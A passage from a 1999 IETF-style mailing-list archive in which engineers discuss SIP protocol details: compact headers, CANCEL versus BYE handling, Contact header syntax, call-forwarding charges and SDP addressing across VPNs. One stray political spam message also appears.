choke on the request with "q". This is because it would not see a CSeq,
and thus return a 400 error thinking the request was malformed. The UAC
could then resubmit the request with the full CSeq.

The problem I describe would exist for non-mandatory headers, though.

-Jonathan R.

> Jonathan Rosenberg wrote:
> >
> 
> > > 2. As far as backward compatibility goes, in any
> > > case the standard says I have to accept the long and the short form from
> > > an "older system".
> > > If I start talking to a system that doesn't understand the new compact
> > > form, I will get a "bad request" error, and I hope the correct Warning:
> > > line with decent warn text, and I promise I will send the long form.
> > > But for the few million messages I intend to process, the gain of
> > > having fixed length headers on processing is very useful.
> >
> > Alas, compatibility isn't that simple. Unknown headers are ignored. So,
> > since "q" is unknown, it will be ignored by both proxies and UA's. You
> > can force it to be recognized (and thus get the error back that you
> > mention), but this needs a Require header AND a Proxy-Require header.
> > So, the 3 bytes you save on CSeq are totally lost to Require and
> > Proxy-Require. There is no short form for Require/Proxy-Require either,
> > but even if there was, it would still be more than three bytes for the
> > whole thing.


-- 
Jonathan D. Rosenberg                       Lucent Technologies
Member of Technical Staff                   101 Crawfords Corner Rd.
High Speed Networks Research                Holmdel, NJ 07733
FAX: (732) 834-5379                         Rm. 4C-526
EMAIL: jdrosen@bell-labs.com
URL: http://www.cs.columbia.edu/~jdrosen

From confctrl-owner  Wed Jun  2 00:04:11 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id AAA13434
	for confctrl-outgoing; Wed, 2 Jun 1999 00:04:11 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id AAA13386
	for <confctrl@zephyr.isi.edu>; Wed, 2 Jun 1999 00:04:05 -0700 (PDT)
Received: from penguin.wise.edt.ericsson.se (penguin-ext.wise.edt.ericsson.se [194.237.142.5])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id AAA28220
	for <confctrl@isi.edu>; Wed, 2 Jun 1999 00:04:04 -0700 (PDT)
Received: from lmf.lmf.ericsson.se (umail.lmf.ericsson.se [131.160.11.2])
	by penguin.wise.edt.ericsson.se (8.9.0/8.9.0/WIREfire-1.2) with ESMTP id JAA07803;
	Wed, 2 Jun 1999 09:03:34 +0200 (MET DST)
Received: from ericsson.com by lmf.lmf.ericsson.se (8.8.8+Sun/SMI-SVR4)
	id KAA23292; Wed, 2 Jun 1999 10:03:01 +0300 (EET DST)
Message-ID: <3754D66D.8C6EFF2B@ericsson.com>
Date: Wed, 02 Jun 1999 09:59:57 +0300
From: Gonzalo Camarillo <Gonzalo.Camarillo@ericsson.com>
Organization: Oy L M Ericsson Ab
X-Mailer: Mozilla 4.05 [en] (WinNT; I)
MIME-Version: 1.0
To: jdrosen@dnrc.bell-labs.com
CC: mjh@aciri.org, sanjay@packetstream.com, confctrl@ISI.EDU,
        ian.rytina@ericsson.com, Ricky@lmf.ericsson.se,
        henry.sinnreich@MCI.COM, Dean.Willis@MCI.COM
Subject: Re: why one level of signalling
References: <3753EA1C.B2E26D66@dnrc.bell-labs.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Hi,

jdrosen@dnrc.bell-labs.com wrote:
> 
> Gonzalo Camarillo wrote:
> >
> >
> > Let's take this example:
> > A is PSTN phone, B is SIP Phone, C is PSTN phone.
> >
> > A calls B. B's phone must ring and there must be some time supervision
> > somewhere (typically 30 seconds). After timeout, the call must be set up
> > from B to C. When C answers, charging must take place - A should be
> > charged for the A-B leg, and B charged for the B-C leg.
> 
> I'm not sure what you are trying to accomplish here. Are you talking
> about a call forward no answer service?

Yes...

> That is, B forwards the call to
> C when B is not there?

Yes...

> If so, there wouldn't be a leg from B to C,
> rather, B would have A contact C directly.

Yes, that's the way SIP works, and it sounds very sensible from a
technological point of view. I was trying to highlight the charging
problem.

If somebody is calling me to my fixed phone in Finland, he knows that he
will pay a call to Finland (the phone begins with +358... ). It does not
matter if the phone is diverted to my mobile and I am in Spain. I will
pay the leg Finland-Spain since I am receiving that call.

If I had a SIP phone, as you pointed out, the caller would pay a call to
Spain, when he thought that he was going to pay a call to Finland.

How does this kind of charging have to be implemented using SIP?

Henry, how does MCIWorldcom intend to do this?

Thanks,

Gonzalo
-- 
Gonzalo Camarillo         Phone :  +358  9 299 33 71
Oy L M Ericsson Ab        Mobile:  +358 40 702 35 35
Telecom R&D               Fax   :  +358  9 299 31 18
FIN-02420 Jorvas          Email :  Gonzalo.Camarillo@ericsson.com
Finland

From confctrl-owner  Wed Jun  2 02:06:23 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id CAA19000
	for confctrl-outgoing; Wed, 2 Jun 1999 02:06:23 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id CAA18920
	for <confctrl@zephyr.isi.edu>; Wed, 2 Jun 1999 02:06:13 -0700 (PDT)
Received: from orange.pcs.ellemtel.net (orange.pcs.ellemtel.net [194.237.226.84])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id CAA01760
	for <confctrl@isi.edu>; Wed, 2 Jun 1999 02:06:11 -0700 (PDT)
Received: from eubchja (fender.pcs.ellemtel.net [194.237.226.66]) by orange.pcs.ellemtel.net with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2448.0)
	id LC013R15; Wed, 2 Jun 1999 11:06:22 +0200
Message-ID: <010201beacd7$36dc5cb0$42e2edc2@eubchja.PCS>
From: "Christian Jansson" <christian.jansson@ellemtel.se>
To: <confctrl@ISI.EDU>
Subject: Re: SIP: CANCEL request/2xx-response to INVITE
Date: Wed, 2 Jun 1999 11:05:56 +0200
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 4.72.3110.5
X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3110.3
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Is this the correct behavior of handling CANCEL and BYE messages?
If not, what is wrong?



1)
UAC                        UAS
|----------INVITE--------->|
|----------CANCEL--------->| The CANCEL does terminate the session = no BYE
needed to be sent from UAC
|<--------CANCEL 200-------|
|                          |



2)
UAC                        UAS
|----------INVITE--------->|
|---CANCEL--\  /-INV. 200--|
|            \/            |
|            /\            |
|<----------/  \---------->| The CANCEL does not terminate the session
|<--------CANCEL 200-------|
|------------BYE---------->|
|<---------BYE 200---------|
|                          |



3)
UAC                        UAS
|----------INVITE--------->|
|-----------BYE----------->| The BYE does terminate the session
|<--------BYE 200----------|
|                          |


/Christian Jansson


From confctrl-owner  Wed Jun  2 04:02:13 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id EAA22179
	for confctrl-outgoing; Wed, 2 Jun 1999 04:02:13 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id EAA22128
	for <confctrl@zephyr.isi.edu>; Wed, 2 Jun 1999 04:02:05 -0700 (PDT)
Received: from BetterDemocracy.com (1Cust12.tnt1.richmond.va.da.uu.net [153.35.108.12])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id EAA04841;
	Wed, 2 Jun 1999 04:01:56 -0700 (PDT)
From: 24in4@BetterDemocracy.com
Subject: Habitual politicians, not career, not professional
Date: Wed, 2 Jun 1999 07:01:27
Message-Id: <702.316130.532791@unknown>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


* Presidential Primary, On-Line, Nationwide, July 4, 1999 
On the anniversary of our Declaration of Independence from an English habitual politician, King George III, please help end the current reign of habitual politicians. Help legitimize on-line democracy with your nominee for President. 

Reform American Politics at the national, state and local level by proving out a zero-cost primary and election process. There is no charge. In fact, you will receive lifehour tax credits for your contribution. If we can use computer to work and shop from home, how soon before we start using them to govern from home? It's up to you. 

Visit www.edemocracy.org.

This ad is being sent in compliance with Senate bill 1618, Title 3, section 301. http/www.senate.gov/~murkowski/commercialemail/S771index.html

Provided as a community service by Bob Barnett, 212 W. Broad, Richmond, VA, 804-344-4441.

No remove option. This is a one-time mailing.


  

From confctrl-owner  Wed Jun  2 07:00:14 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id HAA26204
	for confctrl-outgoing; Wed, 2 Jun 1999 07:00:14 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id HAA26131
	for <confctrl@zephyr.isi.edu>; Wed, 2 Jun 1999 07:00:05 -0700 (PDT)
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id HAA10212
	for <confctrl@isi.edu>; Wed, 2 Jun 1999 07:00:03 -0700 (PDT)
Received: from nova.dnrc.bell-labs.com ([135.180.131.5]) by dirty; Wed Jun  2 09:56:40 EDT 1999
Received: from dnrc.bell-labs.com (arrakis [135.180.130.41])
	by nova.dnrc.bell-labs.com (8.9.3/8.9.3) with ESMTP id JAA26576;
	Wed, 2 Jun 1999 09:56:35 -0400 (EDT)
Message-ID: <375534CC.72D3274D@dnrc.bell-labs.com>
Date: Wed, 02 Jun 1999 09:42:36 -0400
From: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
X-Mailer: Mozilla 4.04 [en] (WinNT; I)
MIME-Version: 1.0
To: Christian Jansson <christian.jansson@ellemtel.se>
CC: confctrl@ISI.EDU
Subject: Re: SIP: CANCEL request/2xx-response to INVITE
References: <010201beacd7$36dc5cb0$42e2edc2@eubchja.PCS>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Christian Jansson wrote:
> 
> Is this the correct behavior of handling CANCEL and BYE messages?
> If not, what is wrong?
> 
> 1)
> UAC                        UAS
> |----------INVITE--------->|
> |----------CANCEL--------->| The CANCEL does terminate the session = no BYE
> needed to be sent from UAC
> |<--------CANCEL 200-------|
> |                          |
> 
> 2)
> UAC                        UAS
> |----------INVITE--------->|
> |---CANCEL--\  /-INV. 200--|
> |            \/            |
> |            /\            |
> |<----------/  \---------->| The CANCEL does not terminate the session
> |<--------CANCEL 200-------|
> |------------BYE---------->|
> |<---------BYE 200---------|
> |                          |
> 
> 3)
> UAC                        UAS
> |----------INVITE--------->|
> |-----------BYE----------->| The BYE does terminate the session
> |<--------BYE 200----------|
> |                          |

These are all correct. One note on the last, though. Since BYE is a
totally separate transaction, and in your example would be without
routing headers (since it is sent before the 200 OK to the INVITE is
received), it may not reach the same set of people who got the INVITE.
This could happen in very dynamic routing situations, like some kind of
ACD. Also, if the BYE does fail somewhere, or isn't received by one of
the original INVITE recipients, you'll never know. The BYE responses
will be merged, as other responses to INVITE. To be safer, I think
you're better off sticking with case 2, waiting for a 200 and sending a
BYE with the routing headers to make sure it goes to the right place.

-Jonathan R.

-- 
Jonathan D. Rosenberg                       Lucent Technologies
Member of Technical Staff                   101 Crawfords Corner Rd.
High Speed Networks Research                Holmdel, NJ 07733
FAX:   (732) 834-5379                       Rm. 4C-526
EMAIL: jdrosen@bell-labs.com
URL: http://www.cs.columbia.edu/~jdrosen

From confctrl-owner  Wed Jun  2 08:16:42 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id IAA05512
	for confctrl-outgoing; Wed, 2 Jun 1999 08:16:42 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id IAA05421
	for <confctrl@zephyr.isi.edu>; Wed, 2 Jun 1999 08:16:31 -0700 (PDT)
Received: from bootstrap.agcs.com (bootstrap.agcs.com [130.131.48.11])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id IAA14291
	for <confctrl@ISI.EDU>; Wed, 2 Jun 1999 08:16:30 -0700 (PDT)
Received: from pxmail1.agcs.com (pxmail1.agcs.com [130.131.168.5])
	by bootstrap.agcs.com (8.9.1/8.9.1) with ESMTP id IAA09506
	for <confctrl@ISI.EDU>; Wed, 2 Jun 1999 08:14:46 -0700 (MST)
Posted-Date: Wed, 2 Jun 1999 08:14:46 -0700 (MST)
Received: from agcs.com ([130.131.108.116]) by pxmail1.agcs.com
          (Netscape Messaging Server 3.61)  with ESMTP id AAA62A6
          for <confctrl@ISI.EDU>; Wed, 2 Jun 1999 08:15:39 -0700
Message-ID: <37554A97.276A46C8@agcs.com>
Date: Wed, 02 Jun 1999 08:15:35 -0700
From: "Rex Coldren" <coldrenr@agcs.com>
Reply-To: coldrenr@agcs.com
Organization: AG Communication Systems
X-Mailer: Mozilla 4.5 [en] (WinNT; U)
X-Accept-Language: en
MIME-Version: 1.0
CC: confctrl@ISI.EDU
Subject: Re: SIP: CANCEL request
References: <010201beacd7$36dc5cb0$42e2edc2@eubchja.PCS>
Content-Type: multipart/mixed;
 boundary="------------BE4C2B9A2AE1097926FF7973"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

This is a multi-part message in MIME format.
--------------BE4C2B9A2AE1097926FF7973
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

I have misplaced my notes on subscribing and unsubscribing and would dearly
love to be removed from this list.  Can someone send me instructioins?  Many
thanks in advance.

Christian Jansson wrote:

> Is this the correct behavior of handling CANCEL and BYE messages?
> If not, what is wrong?
>
> 1)
> UAC                        UAS
> |----------INVITE--------->|
> |----------CANCEL--------->| The CANCEL does terminate the session = no BYE
> needed to be sent from UAC
> |<--------CANCEL 200-------|
> |                          |
>
> 2)
> UAC                        UAS
> |----------INVITE--------->|
> |---CANCEL--\  /-INV. 200--|
> |            \/            |
> |            /\            |
> |<----------/  \---------->| The CANCEL does not terminate the session
> |<--------CANCEL 200-------|
> |------------BYE---------->|
> |<---------BYE 200---------|
> |                          |
>
> 3)
> UAC                        UAS
> |----------INVITE--------->|
> |-----------BYE----------->| The BYE does terminate the session
> |<--------BYE 200----------|
> |                          |
>
> /Christian Jansson

--------------BE4C2B9A2AE1097926FF7973
Content-Type: text/x-vcard; charset=us-ascii;
 name="coldrenr.vcf"
Content-Transfer-Encoding: 7bit
Content-Description: Card for Rex Coldren
Content-Disposition: attachment;
 filename="coldrenr.vcf"

begin:vcard 
n:Coldren;Rex
tel;fax:(623) 581-4022
tel;home:(602) 993-0500
tel;work:(623) 582-7883
x-mozilla-html:FALSE
adr:;;;;;;
version:2.1
email;internet:coldrenr@agcs.com
fn:Rex Coldren
end:vcard

--------------BE4C2B9A2AE1097926FF7973--


From confctrl-owner  Wed Jun  2 10:16:14 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id KAA00971
	for confctrl-outgoing; Wed, 2 Jun 1999 10:16:14 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id KAA00934
	for <confctrl@zephyr.isi.edu>; Wed, 2 Jun 1999 10:16:07 -0700 (PDT)
Received: from bounty.cisco.com (bounty.cisco.com [161.44.2.72])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id KAA29882
	for <confctrl@isi.edu>; Wed, 2 Jun 1999 10:16:06 -0700 (PDT)
Received: from cisco.com (bounty.cisco.com [161.44.2.72])
	by bounty.cisco.com (8.8.8/2.5.1/Cisco List Logging/8.8.8) with ESMTP id NAA29495
	for <confctrl@isi.edu>; Wed, 2 Jun 1999 13:15:35 -0400 (EDT)
Message-ID: <375566B7.2591F37F@cisco.com>
Date: Wed, 02 Jun 1999 13:15:35 -0400
From: Shail Bhatnagar <shbhatna@cisco.com>
Organization: CISCO
X-Mailer: Mozilla 4.51C-CISCOENG [en] (X11; U; SunOS 5.6 sun4u)
X-Accept-Language: en
MIME-Version: 1.0
To: confctrl@ISI.EDU
Subject: Contact header ...
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

I see the following example Contact header in the RFC :

Contact: "Mr. Watson" <sip:watson@worcester.bell-telephone.com>
        ;q=0.7; expires=3600,
        "Mr. Watson" <mailto:watson@bell-telephone.com> ;q=0.1

1) Does this match with the syntax description or have I missed
something. Basically I want to know where exactly the spec states
that Contact header can have multiple locations separated by comma.

2) Also, I don't see any description of extension-attribute 
or extension-name.

3) What is the significance of expires for a UAC or UAS. In the 
following scenario :

UAC                                                UAS
--> INVITE   
     (with Contact and expires value)
                                            <-- 200 OK

<Call in progress>

                                             <-- BYE
At the time of sending the BYE, let us assume the contact location
has expired. Where should the UAS send the BYE ?

Thanks,

-- 
Best regards,
Shail

From confctrl-owner  Wed Jun  2 12:35:20 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id MAA04753
	for confctrl-outgoing; Wed, 2 Jun 1999 12:35:20 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id MAA04712
	for <confctrl@zephyr.isi.edu>; Wed, 2 Jun 1999 12:35:13 -0700 (PDT)
Received: from penguin.wise.edt.ericsson.se (penguin-ext.wise.edt.ericsson.se [194.237.142.5])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id MAA15472
	for <confctrl@ISI.EDU>; Wed, 2 Jun 1999 12:35:12 -0700 (PDT)
Received: from lmf.lmf.ericsson.se (umail.lmf.ericsson.se [131.160.11.2])
	by penguin.wise.edt.ericsson.se (8.9.0/8.9.0/WIREfire-1.2) with ESMTP id VAA23592;
	Wed, 2 Jun 1999 21:34:58 +0200 (MET DST)
Received: from ericsson.com by lmf.lmf.ericsson.se (8.8.8+Sun/SMI-SVR4)
	id WAA27766; Wed, 2 Jun 1999 22:34:26 +0300 (EET DST)
Message-ID: <3755873E.283D5DC4@ericsson.com>
Date: Wed, 02 Jun 1999 22:34:22 +0300
From: Gonzalo Camarillo <Gonzalo.Camarillo@ericsson.com>
Organization: Oy L M Ericsson Ab
X-Mailer: Mozilla 4.05 [en] (WinNT; I)
MIME-Version: 1.0
To: mmusic <confctrl@ISI.EDU>, mjh@aciri.org
Subject: VPNs and SDP
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Hi,

If I have a media gateway connected to a couple of VPN (Virtual Private
Networks), when I want to specify the host that the media is going to be
sent to, I cannot give just an IP address, since it may not be unique.

I can have the IP address 1.1.1.1 in the MCI domain and the IP address
1.1.1.1 in the AT&T domain... how can I distinguish between these two
hosts using SDP? (c=IN IP4 1.1.1.1 is not enough).

Thanks,

Gonzalo
-- 
Gonzalo Camarillo         Phone :  +358  9 299 33 71
Oy L M Ericsson Ab        Mobile:  +358 40 702 35 35
Telecom R&D               Fax   :  +358  9 299 31 18
FIN-02420 Jorvas          Email :  Gonzalo.Camarillo@ericsson.com
Finland

From confctrl-owner  Wed Jun  2 13:02:07 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id NAA16797
	for confctrl-outgoing; Wed, 2 Jun 1999 13:02:07 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id NAA16752
	for <confctrl@zephyr.isi.edu>; Wed, 2 Jun 1999 13:01:54 -0700 (PDT)
Received: from ce-nfs-1.cisco.com (ce-nfs-1.cisco.com [171.68.201.251] (may be forged))
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id NAA18001
	for <confctrl@ISI.EDU>; Wed, 2 Jun 1999 13:01:53 -0700 (PDT)
Received: from glock (glock.cisco.com [171.68.37.125]) by ce-nfs-1.cisco.com (8.8.5/CA/950118) with SMTP id NAA25149; Wed, 2 Jun 1999 13:01:11 -0700 (PDT)
Message-ID: <02da01bead32$43c05200$7d2544ab@glock.cisco.com>
From: "Stephen Sprunk" <ssprunk@cisco.com>
To: "Gonzalo Camarillo" <Gonzalo.Camarillo@ericsson.com>,
        "mmusic" <confctrl@ISI.EDU>, <mjh@aciri.org>
Subject: Re: VPNs and SDP
Date: Wed, 2 Jun 1999 14:57:36 -0500
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 4.72.3110.1
X-MIMEOLE: Produced By Microsoft MimeOLE V4.72.3110.3
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Hence why IP addresses are required to be unique (NAT notwithstanding).

Stephen

     |          |         Stephen Sprunk, K5SSS, CCIE #3723
    :|:        :|:        NSA, Network Consulting Engineer 
   :|||:      :|||:       14875 Landmark Blvd #400; Dallas, TX
.:|||||||:..:|||||||:.    Pager: 800-365-4578 / 800-901-6078
C I S C O S Y S T E M S   Email: ssprunk@cisco.com

-----Original Message-----
From: Gonzalo Camarillo <Gonzalo.Camarillo@ericsson.com>
To: mmusic <confctrl@ISI.EDU>; mjh@aciri.org <mjh@aciri.org>
Date: Wednesday, June 02, 1999 14:50
Subject: VPNs and SDP


>Hi,
>
>If I have a media gateway connected to a couple of VPN (Virtual Private
>Networks), when I want to specify the host that the media is going to be
>sent to, I cannot give just an IP address, since it may not be unique.
>
>I can have the IP address 1.1.1.1 in the MCI domain and the IP address
>1.1.1.1 in the AT&T domain... how can I distinguish between these two
>hosts using SDP? (c=IN IP4 1.1.1.1 is not enough).
>
>Thanks,
>
>Gonzalo
>-- 
>Gonzalo Camarillo         Phone :  +358  9 299 33 71
>Oy L M Ericsson Ab        Mobile:  +358 40 702 35 35
>Telecom R&D               Fax   :  +358  9 299 31 18
>FIN-02420 Jorvas          Email :  Gonzalo.Camarillo@ericsson.com
>Finland


From confctrl-owner  Thu Jun  3 07:44:06 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id HAA03820
	for confctrl-outgoing; Thu, 3 Jun 1999 07:44:06 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id HAA03814
	for <confctrl@zephyr.isi.edu>; Thu, 3 Jun 1999 07:44:04 -0700 (PDT)
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id HAA23178
	for <confctrl@isi.edu>; Thu, 3 Jun 1999 07:44:03 -0700 (PDT)
Received: from nova.dnrc.bell-labs.com ([135.180.131.5]) by dirty; Thu Jun  3 10:42:50 EDT 1999
Received: from dnrc.bell-labs.com (arrakis [135.180.130.41])
	by nova.dnrc.bell-labs.com (8.9.3/8.9.3) with ESMTP id KAA17428;
	Thu, 3 Jun 1999 10:42:50 -0400 (EDT)
Message-ID: <3756911F.6A867BDE@dnrc.bell-labs.com>
Date: Thu, 03 Jun 1999 10:28:47 -0400
From: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
X-Mailer: Mozilla 4.04 [en] (WinNT; I)
MIME-Version: 1.0
To: Shail Bhatnagar <shbhatna@cisco.com>
CC: confctrl@ISI.EDU
Subject: Re: Contact header ...
References: <375566B7.2591F37F@cisco.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Shail Bhatnagar wrote:
> 
> I see the following example Contact header in the RFC :
> 
> Contact: "Mr. Watson" <sip:watson@worcester.bell-telephone.com>
>         ;q=0.7; expires=3600,
>         "Mr. Watson" <mailto:watson@bell-telephone.com> ;q=0.1
> 
> 1) Does this match with the syntax description or have I missed
> something. Basically I want to know where exactly the spec states
> that Contact header can have multiple locations separated by comma.

Yes, it matches. Looking at the BNF:

>  Contact = ( "Contact" | "m" ) ":" 
>              ("*" | (1# (( name-addr | addr-spec )
>              [ *( ";" contact-params ) ] [ comment ] )))
> 

The 1# in the second line defines a comma separated list. From the annex
which describes BNF:

> #rule
> 
> 
>    A construct "#" is defined, similar to "*", for defining lists of
>    elements. The full form is "<n>#<m> element" indicating at least <n>
>    and at most <m> elements, each separated by one or more commas (",")
>    and OPTIONAL linear white space (LWS). This makes the usual form of
>    lists very easy; a rule such as
> 
> 

> 
> 2) Also, I don't see any description of extension-attribute
> or extension-name.

You're right. I think we knew about this. Anyway, I believe they are
both tokens.

> 
> 3) What is the significance of expires for a UAC or UAS. In the
> following scenario :
> 
> UAC                                                UAS
> --> INVITE
>      (with Contact and expires value)
>                                             <-- 200 OK
> 
> <Call in progress>
> 
>                                              <-- BYE
> At the time of sending the BYE, let us assume the contact location
> has expired. Where should the UAS send the BYE ?

The purpose of Expires in INVITE is that it limits the lifetime of the
INVITE itself, not of the Contact header. The UAS should ring until the
time in the Expires header has been reached, and then send a timeout:

> For INVITE requests, it is a request and response-header field. In a
>    request, the caller can limit the validity of an invitation, for
>    example, if a client wants to limit the time duration of a search or
>    a conference invitation. A user interface MAY take this as a hint to
>    leave the invitation window on the screen even if the user is not
>    currently at the workstation. This also limits the duration of a
>    search. If the request expires before the search completes, the proxy
>    returns a 408 (Request Timeout) status. In a 302 (Moved Temporarily)
>    response, a server can advise the client of the maximal duration of
>    the redirection.
> 

The spec also defines its use for REGISTER in limiting the lifetime of
the registration itself, which boils down to how long the URI's in the
Contact header are valid for. 

I guess your question came up since you are looking at placing an
expires parameter in the Contact header in the INVITE request. I'm not
sure if the spec says you shouldn't do this, but I don't think it makes
sense to limit the lifetime of the Contact parameter itself in an
INVITE. It already says somewhere in the spec that the Contact address
in the INVITE and 200 OK is valid for the entire call, but no longer.

-Jonathan R.

-- 
Jonathan D. Rosenberg                       Lucent Technologies
Member of Technical Staff                   101 Crawfords Corner Rd.
High Speed Networks Research                Holmdel, NJ 07733
FAX:   (732) 834-5379                       Rm. 4C-526
EMAIL: jdrosen@bell-labs.com
URL: http://www.cs.columbia.edu/~jdrosen

From confctrl-owner  Thu Jun  3 13:07:33 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id NAA16567
	for confctrl-outgoing; Thu, 3 Jun 1999 13:07:33 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id NAA16562
	for <confctrl@zephyr.isi.edu>; Thu, 3 Jun 1999 13:07:31 -0700 (PDT)
Received: from omzrelay02.mcit.com (beta.mcit.com [199.249.19.244])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id NAA25447
	for <confctrl@ISI.EDU>; Thu, 3 Jun 1999 13:07:30 -0700 (PDT)
Received: from omzrelay.mcit.com ([166.37.204.49])
 by firewall.mcit.com (PMDF V5.2-32 #38417)
 with ESMTP id <0FCR00L2SP1UNU@firewall.mcit.com> for confctrl@ISI.EDU; Thu,
 3 Jun 1999 20:03:33 +0000 (GMT)
Received: from omzmta02.mcit.com (omzmta02.mcit.com [166.37.194.120])
 by omzrelay.mcit.com (8.8.7/) with ESMTP	id UAA00110 for <confctrl@ISI.EDU>;
 Thu, 03 Jun 1999 20:04:21 +0000 (GMT)
Received: from localHost ([166.44.139.50])
 by omzmta02.mcit.com (InterMail v03.02.05 118 120)
 with SMTP id <19990603200328.ENIF642@[166.44.139.50]> for <confctrl@ISI.EDU>;
 Thu, 03 Jun 1999 20:03:28 +0000
Date: Thu, 03 Jun 1999 15:01 -0500 (CDT)
From: John Hearty <John.H.Hearty@wcom.com>
Subject: Re: SIP: CANCEL request/2xx-response to INVITE
To: confctrl@ISI.EDU
Message-id: <19990603200328.ENIF642@[166.44.139.50]>
X-Mailer: MailRoom for Internet v2.3g (www.SierraSol.com)
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


 While this problem needs to be resolved, and it appears there is concensus
for the solution, I would like to reiterate what Lars brought up. 
If a caller truly wishes to drop the call, a BYE should be sent, not
a CANCEL.  This eliminates all these problems.  If they just want to
drop potential legs that have not responded back yet, a CANCEL is in
order.  My impression of the original intent of the CANCEL was for
forking proxies to drop legs that didn't provide a final response yet.
It seems unlikely a UAC would normally want to send a CANCEL, as it
wouldn't know if a request was forked or not, although sending a CANCEL
is allowed.  Perhaps a recommendation for UACs to send BYEs in this
scenario and avoid sending CANCELs should be added to a best practices
RFC?

John Hearty
MCI Worldcom



Date: Fri, 28 May 1999 02:38 -0500 (CDT)
From: Lars Berggren <lars.berggren@intertex.se>
Organization: Intertex Data AB
To: Jeff Mark <Jeff.Mark@Dialogic.com>
CC: "Adam B. Roach" <Adam.Roach@ericsson.com>,
    confctrl@ISI.EDU
Sender: owner-confctrl@ISI.EDU
Subject: Re: SIP: CANCEL request/2xx-response to INVITE

Jeff Mark wrote:
> 
....
> 
> Now since the proxy is acting as both the UAS and UAC it appears from
> reading 4.2.5 the INVITE 200 response sent in step 7 is in violation to this
> rule.  Since the proxy "implements the server state machine when receiving
> requests" (12.3) it shouldn't send the INVITE 200 response.  The exception
> noted in 12.3 applies to the client state machine of the proxy and was
> intended (from my reading) on preventing the proxy from ACKing an INVITE
